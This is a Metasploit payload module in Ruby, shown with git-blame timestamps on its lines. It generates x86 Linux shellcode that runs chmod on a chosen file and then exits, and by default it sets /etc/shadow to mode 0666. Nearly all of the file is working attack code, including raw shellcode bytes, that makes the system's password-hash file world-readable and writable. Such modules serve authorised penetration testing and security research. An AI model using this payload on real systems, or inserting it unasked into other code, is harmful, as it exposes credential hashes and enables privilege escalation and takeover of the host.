2010-05-03 17:13:09 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-05-03 17:13:09 +00:00
|
|
|
##
|
2008-03-10 21:21:51 +00:00
|
|
|
|
|
|
|
|
###
|
|
|
|
|
# Linux Chmod(file, mode)
|
|
|
|
|
#
|
|
|
|
|
# Kris Katterjohn - 03/03/2008
|
|
|
|
|
###
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2015-03-12 02:30:06 -05:00
|
|
|
CachedSize = 36
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2008-03-10 21:21:51 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Payload::Linux
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'Linux Chmod',
|
|
|
|
|
'Description' => 'Runs chmod on specified file with specified mode',
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-03-10 21:21:51 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'Arch' => ARCH_X86))
|
|
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
|
|
|
|
|
OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2008-03-10 21:21:51 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Dynamically generates chmod(FILE, MODE) + exit()
|
2022-09-22 12:55:41 -04:00
|
|
|
def generate(opts={})
|
2008-03-10 21:21:51 +00:00
|
|
|
file = datastore['FILE'] || '/etc/shadow'
|
|
|
|
|
mode = (datastore['MODE'] || "0666").oct
|
|
|
|
|
|
|
|
|
|
payload =
|
|
|
|
|
"\x99\x6a\x0f\x58\x52" +
|
|
|
|
|
Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
|
|
|
|
|
"\x5b" + Rex::Arch::X86.push_dword(mode) +
|
|
|
|
|
"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
|
|
|
|
|
end
|
2009-03-30 01:09:09 +00:00
|
|
|
end
|